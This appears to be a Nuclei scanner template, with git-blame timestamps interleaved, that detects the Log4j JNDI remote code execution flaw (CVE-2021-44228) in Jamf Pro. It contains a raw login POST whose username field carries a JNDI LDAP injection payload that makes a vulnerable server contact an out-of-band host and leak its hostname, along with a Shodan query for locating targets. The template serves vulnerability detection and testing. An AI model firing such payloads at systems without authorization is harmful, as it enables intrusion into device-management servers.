2022-10-21 08:29:33 +00:00
id : jamf-pro-log4j-rce
info :
name : JamF Pro - Remote Code Execution (Apache Log4j)
author : DhiyaneshDK,pdteam
severity : critical
description : |
JamF is susceptible to Lof4j JNDI remote code execution. JamF is the industry standard when it comes to the management of iOS devices (iPhones and iPads), macOS computers (MacBooks, iMacs, etc.), and tvOS devices (Apple TV).
reference :
- https://github.com/random-robbie/jamf-log4j
- https://docs.jamf.com/technical-articles/Mitigating_the_Apache_Log4j_2_Vulnerability.html
- https://community.connection.com/what-is-jamf/
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
cve-id : CVE-2021-44228
2022-10-25 13:40:49 +00:00
cwe-id : CWE-77
2022-10-21 08:29:33 +00:00
metadata :
shodan-query : title:"Jamf Pro"
verified : "true"
tags : cve,cve2021,rce,jndi,log4j,jamf,oast,kev
2023-05-03 17:51:44 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2022-10-21 08:29:33 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Referer : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
2023-05-03 17:51:44 +00:00
username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/test}&password=
2022-10-21 08:29:33 +00:00
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : word
part : body
words :
- "<title>Jamf Pro Login</title>"
2023-05-03 17:51:44 +00:00
- type : regex
part : interactsh_request
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-10-21 08:29:33 +00:00
extractors :
- type : regex
part : interactsh_request
group : 1
regex :
2023-05-03 17:51:44 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-10-21 08:29:33 +00:00
# Enhanced by mp on 2022/05/27